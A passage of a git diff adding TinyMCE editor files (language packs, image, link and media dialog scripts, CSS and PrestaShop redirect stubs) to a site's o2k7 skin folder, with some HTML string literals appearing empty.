0000000..641a9e3 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/o2k7/icons.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/id.js b/js/tiny_mce/themes/advanced/skins/o2k7/id.js new file mode 100755 index 0000000..cfd77b8 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/id.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advanced',{"underline_desc":"Underline (Ctrl+U)","italic_desc":"Italic (Ctrl+I)","bold_desc":"Bold (Ctrl+B)",dd:"Definition description",dt:"Definition term ",samp:"Code sample",code:"Code",blockquote:"Blockquote",h6:"Heading 6",h5:"Heading 5",h4:"Heading 4",h3:"Heading 3",h2:"Heading 2",h1:"Heading 1",pre:"Preformatted",address:"Address",div:"Div",paragraph:"Paragraph",block:"Format",fontdefault:"Font family","font_size":"Font size","style_select":"Styles","more_colors":"More colors","toolbar_focus":"Jump to tool buttons - Alt+Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",newdocument:"Yakin untuk menghapus semua konten?",path:"Path","clipboard_msg":"Copy/Cut/Paste tidak tersedia pada Mozilla dan Firefox.\nButuh info selengkapnya?","blockquote_desc":"Blockquote","help_desc":"Help","newdocument_desc":"New document","image_props_desc":"Image properties","paste_desc":"Paste","copy_desc":"Copy","cut_desc":"Cut","anchor_desc":"Insert/edit anchor","visualaid_desc":"Toggle guidelines/invisible elements","charmap_desc":"Insert custom character","backcolor_desc":"Pilih background color","forecolor_desc":"Pilih text color","custom1_desc":"Deskripsi disini","removeformat_desc":"Remove formatting","hr_desc":"Insert horizontal ruler","sup_desc":"Superscript","sub_desc":"Subscript","code_desc":"Edit HTML Source","cleanup_desc":"Cleanup messy code","image_desc":"Insert/edit image","unlink_desc":"Unlink","link_desc":"Insert/edit link","redo_desc":"Redo (Ctrl+Y)","undo_desc":"Undo (Ctrl+Z)","indent_desc":"Indent","outdent_desc":"Outdent","numlist_desc":"Ordered list","bullist_desc":"Unordered list","justifyfull_desc":"Align full","justifyright_desc":"Align right","justifycenter_desc":"Align center","justifyleft_desc":"Align left","striketrough_desc":"Strikethrough","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","link_delta_width":"","image_delta_height":"","image_delta_width":"","help_shortcut":"Press ALT-F10 for toolbar. Press ALT-0 for help","rich_text_area":"Rich Text Area","shortcuts_desc":"Accessability Help",toolbar:"Toolbar"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/id_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/id_dlg.js new file mode 100755 index 0000000..88f4f06 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advhr_dlg',{size:"Tinggi",noshade:"Tanpa bayangan",width:"Lebar",normal:"Normal",widthunits:"Units"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/iframe.gif b/js/tiny_mce/themes/advanced/skins/o2k7/iframe.gif new file mode 100755 index 0000000..410c7ad Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/o2k7/iframe.gif differ diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/image.js b/js/tiny_mce/themes/advanced/skins/o2k7/image.js new file mode 100755 index 0000000..7e3cf00 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/image.js @@ -0,0 +1,462 @@ +var ImageDialog = { + preInit : function() { + var url; + + tinyMCEPopup.requireLangPack(); + + if (url = tinyMCEPopup.getParam("external_image_list_url")) + document.write(''); + }, + + init : function(ed) { + var f = document.forms[0], nl = f.elements, ed = tinyMCEPopup.editor, dom = ed.dom, n = ed.selection.getNode(), fl = tinyMCEPopup.getParam('external_image_list', 'tinyMCEImageList'); + + tinyMCEPopup.resizeToInnerSize(); + this.fillClassList('class_list'); + this.fillFileList('src_list', fl); + this.fillFileList('over_list', fl); + this.fillFileList('out_list', fl); + TinyMCE_EditableSelects.init(); + + if (n.nodeName == 'IMG') { + nl.src.value = dom.getAttrib(n, 'src'); + nl.width.value = dom.getAttrib(n, 'width'); + nl.height.value = dom.getAttrib(n, 'height'); + nl.alt.value = dom.getAttrib(n, 'alt'); + nl.title.value = dom.getAttrib(n, 'title'); + nl.vspace.value = this.getAttrib(n, 'vspace'); + nl.hspace.value = this.getAttrib(n, 'hspace'); + nl.border.value = this.getAttrib(n, 'border'); + selectByValue(f, 'align', this.getAttrib(n, 'align')); + selectByValue(f, 'class_list', dom.getAttrib(n, 'class'), true, true); + nl.style.value = dom.getAttrib(n, 'style'); + nl.id.value = dom.getAttrib(n, 'id'); + nl.dir.value = dom.getAttrib(n, 'dir'); + nl.lang.value = dom.getAttrib(n, 'lang'); + nl.usemap.value = dom.getAttrib(n, 'usemap'); + nl.longdesc.value = dom.getAttrib(n, 'longdesc'); + nl.insert.value = ed.getLang('update'); + + if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseover'))) + nl.onmouseoversrc.value = dom.getAttrib(n, 'onmouseover').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); + + if (/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/.test(dom.getAttrib(n, 'onmouseout'))) + nl.onmouseoutsrc.value = dom.getAttrib(n, 'onmouseout').replace(/^\s*this.src\s*=\s*\'([^\']+)\';?\s*$/, '$1'); + + if (ed.settings.inline_styles) { + // Move attribs to styles + if (dom.getAttrib(n, 'align')) + this.updateStyle('align'); + + if (dom.getAttrib(n, 'hspace')) + this.updateStyle('hspace'); + + if (dom.getAttrib(n, 'border')) + this.updateStyle('border'); + + if (dom.getAttrib(n, 'vspace')) + this.updateStyle('vspace'); + } + } + + // Setup browse button + document.getElementById('srcbrowsercontainer').innerHTML = getBrowserHTML('srcbrowser','src','image','theme_advanced_image'); + if (isVisible('srcbrowser')) + document.getElementById('src').style.width = '260px'; + + // Setup browse button + document.getElementById('onmouseoversrccontainer').innerHTML = getBrowserHTML('overbrowser','onmouseoversrc','image','theme_advanced_image'); + if (isVisible('overbrowser')) + document.getElementById('onmouseoversrc').style.width = '260px'; + + // Setup browse button + document.getElementById('onmouseoutsrccontainer').innerHTML = getBrowserHTML('outbrowser','onmouseoutsrc','image','theme_advanced_image'); + if (isVisible('outbrowser')) + document.getElementById('onmouseoutsrc').style.width = '260px'; + + // If option enabled default contrain proportions to checked + if (ed.getParam("advimage_constrain_proportions", true)) + f.constrain.checked = true; + + // Check swap image if valid data + if (nl.onmouseoversrc.value || nl.onmouseoutsrc.value) + this.setSwapImage(true); + else + this.setSwapImage(false); + + this.changeAppearance(); + this.showPreviewImage(nl.src.value, 1); + }, + + insert : function(file, title) { + var ed = tinyMCEPopup.editor, t = this, f = document.forms[0]; + + if (f.src.value === '') { + if (ed.selection.getNode().nodeName == 'IMG') { + ed.dom.remove(ed.selection.getNode()); + ed.execCommand('mceRepaint'); + } + + tinyMCEPopup.close(); + return; + } + + if (tinyMCEPopup.getParam("accessibility_warnings", 1)) { + if (!f.alt.value) { + tinyMCEPopup.confirm(tinyMCEPopup.getLang('advimage_dlg.missing_alt'), function(s) { + if (s) + t.insertAndClose(); + }); + + return; + } + } + + t.insertAndClose(); + }, + + insertAndClose : function() { + var ed = tinyMCEPopup.editor, f = document.forms[0], nl = f.elements, v, args = {}, el; + + tinyMCEPopup.restoreSelection(); + + // Fixes crash in Safari + if (tinymce.isWebKit) + ed.getWin().focus(); + + if (!ed.settings.inline_styles) { + args = { + vspace : nl.vspace.value, + hspace : nl.hspace.value, + border : nl.border.value, + align : getSelectValue(f, 'align') + }; + } else { + // Remove deprecated values + args = { + vspace : '', + hspace : '', + border : '', + align : '' + }; + } + + tinymce.extend(args, { + src : nl.src.value.replace(/ /g, '%20'), + width : nl.width.value, + height : nl.height.value, + alt : nl.alt.value, + title : nl.title.value, + 'class' : getSelectValue(f, 'class_list'), + style : nl.style.value, + id : nl.id.value, + dir : nl.dir.value, + lang : nl.lang.value, + usemap : nl.usemap.value, + longdesc : nl.longdesc.value + }); + + args.onmouseover = args.onmouseout = ''; + + if (f.onmousemovecheck.checked) { + if (nl.onmouseoversrc.value) + args.onmouseover = "this.src='" + nl.onmouseoversrc.value + "';"; + + if (nl.onmouseoutsrc.value) + args.onmouseout = "this.src='" + nl.onmouseoutsrc.value + "';"; + } + + el = ed.selection.getNode(); + + if (el && el.nodeName == 'IMG') { + ed.dom.setAttribs(el, args); + } else { + tinymce.each(args, function(value, name) { + if (value === "") { + delete args[name]; + } + }); + + ed.execCommand('mceInsertContent', false, tinyMCEPopup.editor.dom.createHTML('img', args), {skip_undo : 1}); + ed.undoManager.add(); + } + + tinyMCEPopup.editor.execCommand('mceRepaint'); + tinyMCEPopup.editor.focus(); + tinyMCEPopup.close(); + }, + + getAttrib : function(e, at) { + var ed = tinyMCEPopup.editor, dom = ed.dom, v, v2; + + if (ed.settings.inline_styles) { + switch (at) { + case 'align': + if (v = dom.getStyle(e, 'float')) + return v; + + if (v = dom.getStyle(e, 'vertical-align')) + return v; + + break; + + case 'hspace': + v = dom.getStyle(e, 'margin-left') + v2 = dom.getStyle(e, 'margin-right'); + + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'vspace': + v = dom.getStyle(e, 'margin-top') + v2 = dom.getStyle(e, 'margin-bottom'); + if (v && v == v2) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + + case 'border': + v = 0; + + tinymce.each(['top', 'right', 'bottom', 'left'], function(sv) { + sv = dom.getStyle(e, 'border-' + sv + '-width'); + + // False or not the same as prev + if (!sv || (sv != v && v !== 0)) { + v = 0; + return false; + } + + if (sv) + v = sv; + }); + + if (v) + return parseInt(v.replace(/[^0-9]/g, '')); + + break; + } + } + + if (v = dom.getAttrib(e, at)) + return v; + + return ''; + }, + + setSwapImage : function(st) { + var f = document.forms[0]; + + f.onmousemovecheck.checked = st; + setBrowserDisabled('overbrowser', !st); + setBrowserDisabled('outbrowser', !st); + + if (f.over_list) + f.over_list.disabled = !st; + + if (f.out_list) + f.out_list.disabled = !st; + + f.onmouseoversrc.disabled = !st; + f.onmouseoutsrc.disabled = !st; + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options.length = 0; + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = typeof(l) === 'function' ? l() : window[l]; + lst.options.length = 0; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + resetImageData : function() { + var f = document.forms[0]; + + f.elements.width.value = f.elements.height.value = ''; + }, + + updateImageData : function(img, st) { + var f = document.forms[0]; + + if (!st) { + f.elements.width.value = img.width; + f.elements.height.value = img.height; + } + + this.preloadImg = img; + }, + + changeAppearance : function() { + var ed = tinyMCEPopup.editor, f = document.forms[0], img = document.getElementById('alignSampleImg'); + + if (img) { + if (ed.getParam('inline_styles')) { + ed.dom.setAttrib(img, 'style', f.style.value); + } else { + img.align = f.align.value; + img.border = f.border.value; + img.hspace = f.hspace.value; + img.vspace = f.vspace.value; + } + } + }, + + changeHeight : function() { + var f = document.forms[0], tp, t = this; + + if (!f.constrain.checked || !t.preloadImg) { + return; + } + + if (f.width.value == "" || f.height.value == "") + return; + + tp = (parseInt(f.width.value) / parseInt(t.preloadImg.width)) * t.preloadImg.height; + f.height.value = tp.toFixed(0); + }, + + changeWidth : function() { + var f = document.forms[0], tp, t = this; + + if (!f.constrain.checked || !t.preloadImg) { + return; + } + + if (f.width.value == "" || f.height.value == "") + return; + + tp = (parseInt(f.height.value) / parseInt(t.preloadImg.height)) * t.preloadImg.width; + f.width.value = tp.toFixed(0); + }, + + updateStyle : function(ty) { + var dom = tinyMCEPopup.dom, b, bStyle, bColor, v, isIE = tinymce.isIE, f = document.forms[0], img = dom.create('img', {style : dom.get('style').value}); + + if (tinyMCEPopup.editor.settings.inline_styles) { + // Handle align + if (ty == 'align') { + dom.setStyle(img, 'float', ''); + dom.setStyle(img, 'vertical-align', ''); + + v = getSelectValue(f, 'align'); + if (v) { + if (v == 'left' || v == 'right') + dom.setStyle(img, 'float', v); + else + img.style.verticalAlign = v; + } + } + + // Handle border + if (ty == 'border') { + b = img.style.border ? img.style.border.split(' ') : []; + bStyle = dom.getStyle(img, 'border-style'); + bColor = dom.getStyle(img, 'border-color'); + + dom.setStyle(img, 'border', ''); + + v = f.border.value; + if (v || v == '0') { + if (v == '0') + img.style.border = isIE ? '0' : '0 none none'; + else { + if (b.length == 3 && b[isIE ? 2 : 1]) + bStyle = b[isIE ? 2 : 1]; + else if (!bStyle || bStyle == 'none') + bStyle = 'solid'; + if (b.length == 3 && b[isIE ? 0 : 2]) + bColor = b[isIE ? 0 : 2]; + else if (!bColor || bColor == 'none') + bColor = 'black'; + img.style.border = v + 'px ' + bStyle + ' ' + bColor; + } + } + } + + // Handle hspace + if (ty == 'hspace') { + dom.setStyle(img, 'marginLeft', ''); + dom.setStyle(img, 'marginRight', ''); + + v = f.hspace.value; + if (v) { + img.style.marginLeft = v + 'px'; + img.style.marginRight = v + 'px'; + } + } + + // Handle vspace + if (ty == 'vspace') { + dom.setStyle(img, 'marginTop', ''); + dom.setStyle(img, 'marginBottom', ''); + + v = f.vspace.value; + if (v) { + img.style.marginTop = v + 'px'; + img.style.marginBottom = v + 'px'; + } + } + + // Merge + dom.get('style').value = dom.serializeStyle(dom.parseStyle(img.style.cssText), 'img'); + } + }, + + changeMouseMove : function() { + }, + + showPreviewImage : function(u, st) { + if (!u) { + tinyMCEPopup.dom.setHTML('prev', ''); + return; + } + + if (!st && tinyMCEPopup.getParam("advimage_update_dimensions_onchange", true)) + this.resetImageData(); + + u = tinyMCEPopup.editor.documentBaseURI.toAbsolute(u); + + if (!st) + tinyMCEPopup.dom.setHTML('prev', ''); + else + tinyMCEPopup.dom.setHTML('prev', ''); + } +}; + +ImageDialog.preInit(); +tinyMCEPopup.onInit.add(ImageDialog.init, ImageDialog); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg.png b/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg.png new file mode 100755 index 0000000..13a5cb0 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg.png differ diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_black.png b/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_black.png new file mode 100755 index 0000000..7fc57f2 Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_black.png differ diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_silver.png b/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_silver.png new file mode 100755 index 0000000..c0dcc6c Binary files /dev/null and b/js/tiny_mce/themes/advanced/skins/o2k7/img/button_bg_silver.png differ diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/img/index.php b/js/tiny_mce/themes/advanced/skins/o2k7/img/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/index.php b/js/tiny_mce/themes/advanced/skins/o2k7/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/ins.js b/js/tiny_mce/themes/advanced/skins/o2k7/ins.js new file mode 100755 index 0000000..71a8a26 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/ins.js @@ -0,0 +1,53 @@ +/** + * ins.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +function init() { + SXE.initElementDialog('ins'); + if (SXE.currentAction == "update") { + setFormValue('datetime', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'datetime')); + setFormValue('cite', tinyMCEPopup.editor.dom.getAttrib(SXE.updateElement, 'cite')); + SXE.showRemoveButton(); + } +} + +function setElementAttribs(elm) { + setAllCommonAttribs(elm); + setAttrib(elm, 'datetime'); + setAttrib(elm, 'cite'); + elm.removeAttribute('data-mce-new'); +} + +function insertIns() { + var elm = tinyMCEPopup.editor.dom.getParent(SXE.focusElement, 'INS'); + + if (elm == null) { + var s = SXE.inst.selection.getContent(); + if(s.length > 0) { + insertInlineElement('ins'); + var elementArray = SXE.inst.dom.select('ins[data-mce-new]'); + for (var i=0; i'); + }, + + init : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor; + + // Setup browse button + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser', 'href', 'file', 'theme_advanced_link'); + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '180px'; + + this.fillClassList('class_list'); + this.fillFileList('link_list', 'tinyMCELinkList'); + this.fillTargetList('target_list'); + + if (e = ed.dom.getParent(ed.selection.getNode(), 'A')) { + f.href.value = ed.dom.getAttrib(e, 'href'); + f.linktitle.value = ed.dom.getAttrib(e, 'title'); + f.insert.value = ed.getLang('update'); + selectByValue(f, 'link_list', f.href.value); + selectByValue(f, 'target_list', ed.dom.getAttrib(e, 'target')); + selectByValue(f, 'class_list', ed.dom.getAttrib(e, 'class')); + } + }, + + update : function() { + var f = document.forms[0], ed = tinyMCEPopup.editor, e, b, href = f.href.value.replace(/ /g, '%20'); + + tinyMCEPopup.restoreSelection(); + e = ed.dom.getParent(ed.selection.getNode(), 'A'); + + // Remove element if there is no href + if (!f.href.value) { + if (e) { + b = ed.selection.getBookmark(); + ed.dom.remove(e, 1); + ed.selection.moveToBookmark(b); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + } + + // Create new anchor elements + if (e == null) { + ed.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("mceInsertLink", false, "#mce_temp_url#", {skip_undo : 1}); + + tinymce.each(ed.dom.select("a"), function(n) { + if (ed.dom.getAttrib(n, 'href') == '#mce_temp_url#') { + e = n; + + ed.dom.setAttribs(e, { + href : href, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + }); + } else { + ed.dom.setAttribs(e, { + href : href, + title : f.linktitle.value, + target : f.target_list ? getSelectValue(f, "target_list") : null, + 'class' : f.class_list ? getSelectValue(f, "class_list") : null + }); + } + + // Don't move caret if selection was image + if (e.childNodes.length != 1 || e.firstChild.nodeName != 'IMG') { + ed.focus(); + ed.selection.select(e); + ed.selection.collapse(0); + tinyMCEPopup.storeSelection(); + } + + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + }, + + checkPrefix : function(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advanced_dlg.link_is_external'))) + n.value = 'http://' + n.value; + }, + + fillFileList : function(id, l) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + l = window[l]; + + if (l && l.length > 0) { + lst.options[lst.options.length] = new Option('', ''); + + tinymce.each(l, function(o) { + lst.options[lst.options.length] = new Option(o[0], o[1]); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillClassList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v, cl; + + if (v = tinyMCEPopup.getParam('theme_advanced_styles')) { + cl = []; + + tinymce.each(v.split(';'), function(v) { + var p = v.split('='); + + cl.push({'title' : p[0], 'class' : p[1]}); + }); + } else + cl = tinyMCEPopup.editor.dom.getClasses(); + + if (cl.length > 0) { + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + + tinymce.each(cl, function(o) { + lst.options[lst.options.length] = new Option(o.title || o['class'], o['class']); + }); + } else + dom.remove(dom.getParent(id, 'tr')); + }, + + fillTargetList : function(id) { + var dom = tinyMCEPopup.dom, lst = dom.get(id), v; + + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('not_set'), ''); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_same'), '_self'); + lst.options[lst.options.length] = new Option(tinyMCEPopup.getLang('advanced_dlg.link_target_blank'), '_blank'); + + if (v = tinyMCEPopup.getParam('theme_advanced_link_targets')) { + tinymce.each(v.split(','), function(v) { + v = v.split('='); + lst.options[lst.options.length] = new Option(v[0], v[1]); + }); + } + } +}; + +LinkDialog.preInit(); +tinyMCEPopup.onInit.add(LinkDialog.init, LinkDialog); diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/lt.js b/js/tiny_mce/themes/advanced/skins/o2k7/lt.js new file mode 100755 index 0000000..3056354 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/lt.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advanced',{"underline_desc":"Pabrauktas (Ctrl+U)","italic_desc":"Kursyvas (Ctrl+I)","bold_desc":"Pusjuodis (Ctrl+B)",dd:"Apibr\u0117\u017eimo apra\u0161as",dt:"Apibr\u0117\u017eimo terminas",samp:"Kodo pavyzdys",code:"Kodas",blockquote:"Citatos blokas",h6:"Antra\u0161t\u0117 6",h5:"Antra\u0161t\u0117 5",h4:"Antra\u0161t\u0117 4",h3:"Antra\u0161t\u0117 3",h2:"Antra\u0161t\u0117 2",h1:"Antra\u0161t\u0117 1",pre:"I\u0161 anksto formatuotas",address:"Adresas",div:"Div \u017eym\u0117",paragraph:"Paragrafas",block:"Formatas",fontdefault:"\u0160rifto \u0161eima","font_size":"\u0160rifto dydis","style_select":"Stiliai","link_delta_width":"70","more_colors":"Daugiau spalv\u0173","toolbar_focus":"Per\u0161okimas prie \u012franki\u0173 juostos mygtuk\u0173 - Alt+Q, Per\u0161okimas prie redaktoriaus - Alt-Z, Per\u0161okimas prie element\u0173 kelio - Alt-X",newdocument:"Ar tikrai norite i\u0161valyti vis\u0105 turin\u012f?",path:"Kelias","clipboard_msg":"Kopijavimas/I\u0161kirpimas/\u012ed\u0117jimas negalimas Mozilla ir Firefox nar\u0161ykl\u0117se.\nAr norite daugiau informacijos apie \u0161i\u0105 problem\u0105?","blockquote_desc":"Citatos blokas","help_desc":"Pagalba","newdocument_desc":"Naujas dokumentas","image_props_desc":"Paveiksl\u0117lio nustatymai","paste_desc":"\u012ed\u0117ti","copy_desc":"Kopijuoti","cut_desc":"I\u0161kirpti","anchor_desc":"\u012eterpti/redaguoti prierai\u0161\u0105","visualaid_desc":"Kaitalioti gaires/nematom\u0173 element\u0173 rodym\u0105","charmap_desc":"\u012eterpti nestandartin\u012f simbol\u012f","backcolor_desc":"Parinkti fono spalv\u0105","forecolor_desc":"Parinkti teksto spalv\u0105","custom1_desc":"J\u016bs\u0173 apra\u0161as \u010dia","removeformat_desc":"Pa\u0161alinti formatavim\u0105","hr_desc":"\u012eterpti horizontali\u0105 linij\u0105","sup_desc":"Vir\u0161utinis indeksas","sub_desc":"Apatinis indeksas","code_desc":"Redaguoti HTML i\u0161eities kod\u0105","cleanup_desc":"I\u0161valyti netvarking\u0105 kod\u0105","image_desc":"\u012eterpti/redaguoti paveiksl\u0117l\u012f","unlink_desc":"Pa\u0161alinti nuorod\u0105","link_desc":"\u012eterpti/redaguoti nuorod\u0105","redo_desc":"Gr\u0105\u017einti (Ctrl+Y)","undo_desc":"At\u0161aukti (Ctrl+Z)","indent_desc":"\u012etrauka","outdent_desc":"Atvirk\u0161tin\u0117 \u012ftrauka","numlist_desc":"Sunumeruotas s\u0105ra\u0161as","bullist_desc":"Nesunumeruotas s\u0105ra\u0161as","justifyfull_desc":"Lygiuoti pagal abu kra\u0161tus","justifyright_desc":"Lygiuoti pagal de\u0161in\u0119","justifycenter_desc":"Centruoti","justifyleft_desc":"Lygiuoti pagal kair\u0119","striketrough_desc":"Perbrauktas","help_shortcut":"Paspauskite ALT-F10 \u012fjungti u\u017eduo\u010di\u0173 juostai. Paspauskite ALT-0 jei reikia pagalbos","rich_text_area":"Suformatuoto teksto laukas","shortcuts_desc":"Accessability Help",toolbar:"U\u017eduo\u010di\u0173 juosta","anchor_delta_height":"","anchor_delta_width":"","charmap_delta_height":"","charmap_delta_width":"","colorpicker_delta_height":"","colorpicker_delta_width":"","link_delta_height":"","image_delta_height":"","image_delta_width":""}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/lt_dlg.js b/js/tiny_mce/themes/advanced/skins/o2k7/lt_dlg.js new file mode 100755 index 0000000..07294cb --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/lt_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('lt.advhr_dlg',{size:"Auk\u0161tis",noshade:"Be \u0161e\u0161\u0117lio",width:"Ilgis",normal:"Normalus",widthunits:"Vienetai"}); \ No newline at end of file diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/media.css b/js/tiny_mce/themes/advanced/skins/o2k7/media.css new file mode 100755 index 0000000..fd04898 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/media.css @@ -0,0 +1,17 @@ +#id, #name, #hspace, #vspace, #class_name, #align { width: 100px } +#hspace, #vspace { width: 50px } +#flash_quality, #flash_align, #flash_scale, #flash_salign, #flash_wmode { width: 100px } +#flash_base, #flash_flashvars, #html5_altsource1, #html5_altsource2, #html5_poster { width: 240px } +#width, #height { width: 40px } +#src, #media_type { width: 250px } +#class { width: 120px } +#prev { margin: 0; border: 1px solid black; width: 380px; height: 260px; overflow: auto } +.panel_wrapper div.current { height: 420px; overflow: auto } +#flash_options, #shockwave_options, #qt_options, #wmp_options, #rmp_options { display: none } +.mceAddSelectValue { background-color: #DDDDDD } +#qt_starttime, #qt_endtime, #qt_fov, #qt_href, #qt_moveid, #qt_moviename, #qt_node, #qt_pan, #qt_qtsrc, #qt_qtsrcchokespeed, #qt_target, #qt_tilt, #qt_urlsubstituten, #qt_volume { width: 70px } +#wmp_balance, #wmp_baseurl, #wmp_captioningid, #wmp_currentmarker, #wmp_currentposition, #wmp_defaultframe, #wmp_playcount, #wmp_rate, #wmp_uimode, #wmp_volume { width: 70px } +#rmp_console, #rmp_numloop, #rmp_controls, #rmp_scriptcallbacks { width: 70px } +#shockwave_swvolume, #shockwave_swframe, #shockwave_swurl, #shockwave_swstretchvalign, #shockwave_swstretchhalign, #shockwave_swstretchstyle { width: 90px } +#qt_qtsrc { width: 200px } +iframe {border: 1px solid gray} diff --git a/js/tiny_mce/themes/advanced/skins/o2k7/media.js b/js/tiny_mce/themes/advanced/skins/o2k7/media.js new file mode 100755 index 0000000..43e9ac4 --- /dev/null +++ b/js/tiny_mce/themes/advanced/skins/o2k7/media.js @@ -0,0 +1,470 @@ +(function() { + var url; + + if (url = tinyMCEPopup.getParam("media_external_list_url")) + document.write(''); + + function get(id) { + return document.getElementById(id); + } + + function clone(obj) { + var i, len, copy, attr; + + if (null == obj || "object" != typeof obj) + return obj; + + // Handle Array + if ('length' in obj) { + copy = []; + + for (i = 0, len = obj.length; i < len; ++i) { + copy[i] = clone(obj[i]); + } + + return copy; + } + + // Handle Object + copy = {}; + for (attr in obj) { + if (obj.hasOwnProperty(attr)) + copy[attr] = clone(obj[attr]); + } + + return copy; + } + + function getVal(id) { + var elm = get(id); + + if (elm.nodeName == "SELECT") + return elm.options[elm.selectedIndex].value; + + if (elm.type == "checkbox") + return elm.checked; + + return elm.value; + } + + function setVal(id, value, name) { + if (typeof(value) != 'undefined' && value != null) { + var elm = get(id); + + if (elm.nodeName == "SELECT") + selectByValue(document.forms[0], id, value); + else if (elm.type == "checkbox") { + if (typeof(value) == 'string') { + value = value.toLowerCase(); + value = (!name && value 